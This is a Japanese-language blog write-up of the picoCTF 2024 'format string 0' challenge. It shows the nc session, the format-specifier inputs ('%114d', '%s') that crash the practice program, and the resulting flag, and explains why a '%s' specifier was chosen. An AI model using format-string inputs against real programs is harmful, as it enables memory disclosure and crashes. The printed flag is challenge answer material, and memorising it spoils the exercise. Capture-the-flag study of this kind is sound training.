0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

More than 1 year has passed since last update.

picoCTF 2024 writeup format string 0

Posted at

format string 0 (Binary Exploitation)

Can you use your knowledge of format strings to make the customers happy? Download the binary here. Download the source here. Connect with the challenge instance here: nc mimas.picoctf.net 60866

配布ファイル
・format-string-0
・format-string-0.c

タイトルが「format string」となっているのでおそらくformat string attack(書式文字列攻撃)でフラグが得られるのだろう。とりあえず、nc mimas.picoctf.net 60866を実行してみる。

> nc mimas.picoctf.net 60866
Welcome to our newly-opened burger place Pico 'n Patty! Can you help the picky customers find their favorite burger?
Here comes the first customer Patrick who wants a giant bite.
Please choose from the following burgers: Breakf@st_Burger, Gr%114d_Cheese, Bac0n_D3luxe
Enter your recommendation: Gr%114d_Cheese
Gr                                                                                                           4202954_Cheese
Good job! Patrick is happy! Now can you serve the second customer?
Sponge Bob wants something outrageous that would break the shop (better be served quick before the shop owner kicks you out!)
Please choose from the following burgers: Pe%to_Portobello, $outhwest_Burger, Cla%sic_Che%s%steak
Enter your recommendation: Cla%sic_Che%s%steak
ClaCla%sic_Che%s%steakic_Che(null)
picoCTF{7h3_cu570m3r_15_n3v3r_SEGFAULT_f89c1405}

フラグが出てきてしまった。

picoCTF{7h3_cu570m3r_15_n3v3r_SEGFAULT_f89c1405}

Enter your recommendationのところでどうしてその選択肢を選んだのかを説明していく。
最初の選択肢は、Breakf@st_Burger, Gr%114d_Cheese, Bac0n_D3luxeの3つ。書式文字列攻撃を念頭におくと、%が含まれている選択肢が怪しいと考えた。Gr%114d_Cheeseを入力すると次に進んだ。
2回目の選択肢は、Pe%to_Portobello, $outhwest_Burger, Cla%sic_Che%s%steakの3つ。これも最初の選択肢と同様に%が含まれている選択肢を選ぶわけだが、2つあることに気づく。%t%sを比較してフラグが出てきそうなのは%sなのでCla%sic_Che%s%steakを選び、入力した。すると、フラグが得られた。

0
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?